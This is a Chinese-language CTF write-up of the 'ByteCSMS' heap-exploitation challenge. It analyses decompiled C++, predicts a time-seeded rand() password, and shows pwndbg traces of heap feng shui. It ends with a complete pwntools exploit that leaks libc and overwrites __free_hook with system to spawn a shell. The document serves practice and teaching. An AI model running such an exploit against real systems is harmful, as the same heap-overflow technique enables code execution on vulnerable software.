ByteCSMS 复现
1 GNU C Library (Ubuntu GLIBC 2.31 -0u buntu9) stable release version 2.31
1 2 3 4 5 6 pwn: ELF 64 -bit LSB pie executable, x86-64 , version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64. so.2 , for GNU/Linux 3.2 .0 , BuildID[sha1]=efcddcc85d4f186d9f52eb73565b577adb87609f, stripped Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
代码分析
先说简单的 upload
和 download
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void __fastcall upload (_QWORD *a1) { __int64 v1; __int64 v2; __int64 v4; __int64 v3; __int64 v5[4 ]; v5[1 ] = __readfsqword(0x28 u); v1 = get_offset8(a1); v2 = get_offset0(a1); v3 = get_offset8(vector_state); become3(v5, &v3); change_vector(vector_state, v5[0 ], v2, v1); v4 = std ::operator <<<std ::char_traits<char >>(&std ::cout , "Upload successfully!" ); std ::ostream::operator <<(v4, (__int64)&std ::endl <char ,std ::char_traits<char >>); }
前面这几个函数的底层逻辑都写上去了(IDA 对于 cpp 的分析结果很差)
upload:的作用就是把 vector_state 管理的 vector 加上现在程序管理的 vector
download:的作用就是把 vector_state 管理的 vector 加到程序管理的 vector 中
申请模块 add
中使用了 vector 结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void __fastcall add (__int64 *a1) { __int64 v1; __int64 a2[3 ]; unsigned __int64 v3; v3 = __readfsqword(0x28 u); sub_2458(a2); do { ++chunk_num; sub_256A(a1, a2); input_name_scores(a1); v1 = std ::operator <<<std ::char_traits<char >>(std ::cout , "Enter 1 to add another, enter the other to return" ); std ::ostream::operator <<(v1, (__int64)&std ::endl <char ,std ::char_traits<char >>); } while ( input() == 1 ); }
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void __fastcall input_name_scores (_QWORD *a1) { __int64 name; __int64 *v2; __int64 score; _DWORD *chunk; name = std ::operator <<<std ::char_traits<char >>(std ::cout , "Enter the ctfer's name:" ); std ::ostream::operator <<(name, (__int64)&std ::endl <char ,std ::char_traits<char >>); v2 = sub_24D4(a1, chunk_num - 1 ); std ::operator >><char ,std ::char_traits<char >>(&std ::cin , v2); score = std ::operator <<<std ::char_traits<char >>(std ::cout , "Enter the ctfer's scores" ); std ::ostream::operator <<(score, (__int64)&std ::endl <char ,std ::char_traits<char >>); chunk = sub_24D4(a1, chunk_num - 1 ); chunk[3 ] = input(); }
直接看 cpp 的反编译有点难看,于是我们直接进行调试:
1 2 3 pwndbg> x/64bx 0x55e5076c4ea0 +16 0x55e5076c4eb0 : 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x31 0x55e5076c4eb8 : 0x31 0x31 0x31 0x31 0x64 0x00 0x00 0x00
1 2 3 4 5 6 7 8 name = std ::operator <<<std ::char_traits<char >>(std ::cout , "Enter the new name:" ); std ::ostream::operator <<(name, (__int64)&std ::endl <char ,std ::char_traits<char >>);v10 = sub_24D4(a1, index); std ::operator >><char ,std ::char_traits<char >>(&std ::cin , v10);score = std ::operator <<<std ::char_traits<char >>(std ::cout , "Enter the new score:" ); std ::ostream::operator <<(score, (__int64)&std ::endl <char ,std ::char_traits<char >>);chunk = sub_24D4(a1, index); chunk[3 ] = input();
在 edit
中输入 “name” 时也有同样的漏洞
入侵思路
要想进入菜单,需要先通过一个加密算法
1 2 3 4 5 for ( j = 0 ; j <= 19 ; ++j ){ v1 = j | key[j] ^ 0xF ; code[j] = rand() & v1; }
1 2 seed = time(0LL ); srand(seed);
一般这种从系统时间中获取的随机数,都可以通过以下脚本破解:
1 libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" )
C语言中,time 这里的种子是秒级的,那么我们可以在写 exp 的时候也同时启动一个 time 的种子,获取同样的随机数
绕过脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) v0 = libcc.time(0 ) libcc.srand(v0) key = "n0_One_kn0w5_th15_passwd" password = "" for i in range (20 ): v1 = i | ord (key[i]) ^ 0xF password += chr (libcc.rand() & v1) p.sendafter("Password for admin:" , password)
有堆溢出,但程序的堆分配很奇怪,直接分析反汇编有点困难,所以我们直接输出测试数据找规律
1 2 3 4 5 6 7 8 add("1" *12 ,100 ) add("2" *12 ,100 ) upload() add("3" *12 ,100 ) add("4" *12 ,100 ) download() add("5" *12 ,100 ) add("6" *12 ,100 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Free chunk (tcache) | PREV_INUSE Addr: 0x564bdd223ea0 Size: 0x21 fd: 0x00 Free chunk (tcache) | PREV_INUSE Addr: 0x564bdd223ec0 Size: 0x31 fd: 0x00 Allocated chunk | PREV_INUSE Addr: 0x564bdd223ef0 Size: 0x31 Free chunk (tcache) | PREV_INUSE Addr: 0x564bdd223f20 Size: 0x51 fd: 0x00 Allocated chunk | PREV_INUSE Addr: 0x564bdd223f70 Size: 0x91
堆只能从小到大进行申请,大小依次为“0x20”,“0x30”,“0x50”,“0x90”,“0x100”……
当一个 chunk 写满后,程序就会把原来的 chunk 释放,申请一个更大的 chunk,并把之前所有的数据复制进新的 chunk 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> telescope 0x564bdd223f70 00 :0000 │ 0x564bdd223f70 ◂— 0x0 01 :0008 │ 0x564bdd223f78 ◂— 0x91 02 :0010 │ 0x564bdd223f80 ◂— '111111111111d' 03 :0018 │ 0x564bdd223f88 ◂— 0x6431313131 04 :0020 │ 0x564bdd223f90 ◂— '222222222222d' 05 :0028 │ 0x564bdd223f98 ◂— 0x6432323232 06 :0030 │ 0x564bdd223fa0 ◂— '333333333333d' 07 :0038 │ 0x564bdd223fa8 ◂— 0x6433333333 08 :0040 │ 0x564bdd223fb0 ◂— '444444444444d' 09 :0048 │ 0x564bdd223fb8 ◂— 0x6434343434 0 a:0050 │ 0x564bdd223fc0 ◂— '111111111111d' 0b :0058 │ 0x564bdd223fc8 ◂— 0x6431313131 0 c:0060 │ 0x564bdd223fd0 ◂— '222222222222d' 0 d:0068 │ 0x564bdd223fd8 ◂— 0x6432323232 0 e:0070 │ 0x564bdd223fe0 ◂— '555555555555d' 0f :0078 │ 0x564bdd223fe8 ◂— 0x6435353535 10 :0080 │ 0x564bdd223ff0 ◂— '666666666666d' 11 :0088 │ 0x564bdd223ff8 ◂— 0x6436363636 12 :0090 │ 0x564bdd224000 ◂— 0x0
upload
会保存当前数组的“状态”,并单独写入一个 chunk 中
download
会把 upload
保存的 chunk 添加到当前数组的末尾,再写入堆中(如果写不下就新创建一个更大的 chunk,并把原来的 chunk 释放掉)
现在了解该程序的分配规则了,首先要解决的就是堆风水的问题,限制如下:
堆排列从小到大,并且不能重复申请
只能释放前面的 chunk,修改不了 free chunk
输入“score”会截断“name”,可能会破坏我们的 payload
程序唯一的突破点就是 upload
,因为它可以在可控 chunk 的后面格外写一个 chunk,这样就可以利用 edit
的堆溢出伪造 chunk
1 2 3 4 5 6 7 8 9 10 add("a" *12 , 100 ) upload() payload = "a" * 0x10 + "b" * 0x8 + p64(0x501 ) payload += "a" * 0x18 + p64(0x11e1 ) payload += 0x4d0 * "\x00" payload += p64(0 )+p64(0x21 ) payload += p64(0 )+p64(0x21 ) payload += p64(0 )+p64(0x21 ) edit(0 ,payload,-1 ) upload()
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x55ad43b41ec0 00 :0000 │ 0x55ad43b41ec0 ◂— 0x6262626262626262 ('bbbbbbbb' ) 01 :0008 │ 0x55ad43b41ec8 ◂— 0x501 02 :0010 │ 0x55ad43b41ed0 ◂— 0x6161616161616161 ('aaaaaaaa' )02 :0018 │ 0x55ad43b41ed8 ◂— 0x6161616161616161 ('aaaaaaaa' )02 :0020 │ 0x55ad43b41ee0 ◂— 0x6161616161616161 ('aaaaaaaa' ) 05 :0028 │ 0x55ad43b41ee8 ◂— 0x11e1 06 :0030 │ 0x55ad43b41ef0 ◂— 0x0 07 :0038 │ 0x55ad43b41ef8 ◂— 0x0
upload
执行以后,程序会释放原来的 upload chunk
1 2 3 4 5 6 7 8 9 10 11 pwndbg> telescope 0x55ad43b41ec0 00 :0000 │ 0x55ad43b41ec0 ◂— 0x6262626262626262 ('bbbbbbbb' ) 01 :0008 │ 0x55ad43b41ec8 ◂— 0x501 02 :0010 │ 0x55ad43b41ed0 —▸ 0x7f3c1e436be0 (main_arena+96 ) —▸ 0x55ad43b41f10 ◂— 0x21 03 :0018 │ 0x55ad43b41ed8 —▸ 0x7f3c1e436be0 (main_arena+96 ) —▸ 0x55ad43b41f10 ◂— 0x21 04 :0020 │ 0x55ad43b41ee0 ◂— 0x0 05 :0028 │ 0x55ad43b41ee8 ◂— 0x0 06 :0030 │ 0x55ad43b41ef0 ◂— 0x6161616161616161 ('aaaaaaaa' )07 :0038 │ 0x55ad43b41ef8 ◂— 0x6161616161616161 ('aaaaaaaa' )08 :0040 │ 0x55ad43b41f00 ◂— 0x6161616161616161 ('aaaaaaaa' )09 :0048 │ 0x55ad43b41f08 ◂— 0xffffffff61616161
现在 unsorted bin 有了,程序会优先从 unsorted bin 中分配 chunk,现在需要考虑的问题是怎么泄露 main_arena
1 2 3 std ::operator <<<std ::char_traits<char >>(std ::cout , "Info before editing:\n" );std ::operator <<<std ::char_traits<char >>(std ::cout , "Index\tName\tScores\n" );v1 = std ::ostream::operator <<(std ::cout , (unsigned int )index);
当 edit_by_index
找到目标后,会把其 “name” 和 “scores” 打印出来
于是又要构建堆风水,想办法把 main_arena/heap 放到 “name” 或者 “scores” 中:
1 2 3 4 download() payload = "c" *0x10 +p64(0 )+p64(0x21 ) edit(0 ,payload,-1 ) upload()
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x55a466677ec0 00 :0000 │ 0x55a466677ec0 ◂— 'bbbbbbbbA' 01 :0008 │ 0x55a466677ec8 ◂— 0x41 02 :0010 │ 0x55a466677ed0 ◂— 0x6363636363636363 ('cccccccc' )03 :0018 │ 0x55a466677ed8 ◂— 0xffffffff63636363 04 :0020 │ 0x55a466677ee0 ◂— 0x0 05 :0028 │ 0x55a466677ee8 ◂— 0x21 06 :0030 │ 0x55a466677ef0 ◂— 0x0 07 :0038 │ 0x55a466677ef8 ◂— 0x0
upload
会释放 ee0
处的 chunk(为了不触发 unlink,必须要提前布置好 size)
1 2 3 4 5 6 7 8 9 pwndbg> telescope 0x5649a20ffec0 00 :0000 │ 0x5649a20ffec0 ◂— 'bbbbbbbbA' 01 :0008 │ 0x5649a20ffec8 ◂— 0x41 02 :0010 │ 0x5649a20ffed0 ◂— 0x6363636363636363 ('cccccccc' ) 03 :0018 │ 0x5649a20ffed8 ◂— 0xffffffff63636363 04 :0020 │ 0x5649a20ffee0 ◂— 0x0 05 :0028 │ 0x5649a20ffee8 ◂— 0x21 06 :0030 │ 0x5649a20ffef0 —▸ 0x5649a20ffeb0 ◂— 0x0 07 :0038 │ 0x5649a20ffef8 —▸ 0x5649a20ee010 ◂— 0x2
至于为什么 ee0
处会被释放,可以把上述 exp 中的 edit
都注释掉,然后就会发现在正常的程序流程中,ee0
就是一个 upload chunk
,执行 upload
后这里本来就会被释放
其实这也是前面伪造 unsorted bin 造成的结果,程序优先从 unsorted bin 中分配 chunk,形成了一个小的 overlapping 吧,也就绕过了如下的检查:
1 if ( index >= 0 && index < chunk_num )
后面我想用同样的思路来构造 unsorted bin 绕过该检查,但是之前遗留下来的 unsorted bin 始终会报出各种各样的错误,下面是网上其他 exp 的构造方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 payload = "r" *0x10 +p64(0 )+p64(0xc1 )+p64(0 )+p64(1 ) payload += "\x00" *8 *8 + p64(0 ) + p32(0x1f1 ) p.sendlineafter('Enter the new name:' ,payload) p.sendlineafter('Enter the new score:' ,str (-1 )) upload() download() payload = "R" *0x8 +p64(0x11e1 ) payload += "\x00" *0x40 +p64(0 )+p64(0x4f1 ) edit(0 ,payload,0 ) upload()
PS:top chunk 存储在 main_arena+96 中,当调用 free 时, [R11] 寄存器会存储该值
大佬的解决办法也很简单,upload
会先 malloc 后 free,只要在 malloc 的时候把 unsorted chunk 给全部申请掉,后面就不用考虑 unsorted bin 的问题了,所以需要修改一下 unsorted chunk->size
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *from ctypes import *context.arch='amd64' context.os = "linux" p = process('./pwn' ) libc = ELF("./libc-2.31.so" ) libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) cmd ="b *$rebase(0x22C0)\n" cmd +="b *$rebase(0x22CE)\n" cmd +="b *$rebase(0x22DC)\n" cmd +="b *$rebase(0x22EA)\n" def menu (ch ): p.sendlineafter('> ' ,str (ch)) def add (name,score ): menu(1 ) p.sendlineafter('name:' ,name) p.sendlineafter('scores' ,str (score)) p.sendlineafter('return' ,'2' ) def free (index ): menu(2 ) p.sendlineafter('2.Remove by index' ,str (2 )) p.sendlineafter('Index?' ,str (index)) def edit (index,new_name,new_score ): menu(3 ) p.sendlineafter('by index' ,str (2 )) p.sendlineafter('Index?' ,str (index)) p.sendlineafter('Enter the new name:' ,new_name) p.sendlineafter('Enter the new score:' ,str (new_score)) def upload (): menu(4 ) def download (): menu(5 ) def admin (): seed = libcc.time(0 ) libcc.srand(seed) key = "n0_One_kn0w5_th15_passwd" password = "" for i in range (20 ): v1 = i | ord (key[i]) ^ 0xF password += chr (libcc.rand() & v1) p.sendafter("Password for admin:" , password) def get_IO_str_jumps (): IO_file_jumps_offset = libc.sym['_IO_file_jumps' ] IO_str_underflow_offset = libc.sym['_IO_str_underflow' ] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: return possible_IO_str_jumps_offset admin() add("a" *8 ,0 ) upload() edit(0 , 'a' * 0x18 + p64(0x421 ) + 'a' * 0x18 + p64(0xf121 ) + "a" * 0x3F8 + p64(0x11 ) + "a" * 8 + p64(0x11 ), 0 ) upload() free(0 ) download() p.sendlineafter("> " , "3" ) p.sendlineafter("2.Edit by index\n" , str (2 )) p.sendlineafter("Index?\n" , str (1 )) p.recvuntil("Scores\n1\t" ) libc_base = u64(p.recv(6 ) + "\x00" * 2 ) - 0x1ebb80 - 0x60 free_hook = libc_base + libc.sym['__free_hook' ] system_addr = libc_base + libc.sym['system' ] success("libc_base" , libc_base) p.sendlineafter("name:" ,p64(0 ) + p64(0x111 )) p.sendlineafter("score:" , str (0 )) gadget = p64(free_hook - 0x10 ) + p64(0x31 ) upload() edit(0 , gadget * 2 + p64(free_hook - 0x10 ) + p64(0x111 ), 0 ) upload() edit(0 , gadget * 2 + p64(free_hook - 0x10 ) + p64(0x111 ) + p64(free_hook - 0x10 ), 0 ) upload() payload = "/bin/sh\x00" * 2 + p64(system_addr) * 2 + p64(free_hook - 0x10 ) + p64(0x111 ) + p64(free_hook - 0x10 ) payload += gadget * 4 + p64(0x31 ) + gadget edit(0 , payload, 0 ) upload() for i in range (6 ): add("a" *8 ,0 ) p.sendlineafter("> " , "1" ) p.interactive()
小结:
这个堆风水真的好难弄,自己搞了好几天才 leak 出来,但是堆风水太乱不能 get shell,最后还是只能调试网上的 exp
最后挂的 exp 是我遇见的最简单的了,他只 leak 了 libc_base,导致堆风水简洁了不少
从这个题目没有学习到什么知识,就当练习了一下堆风水吧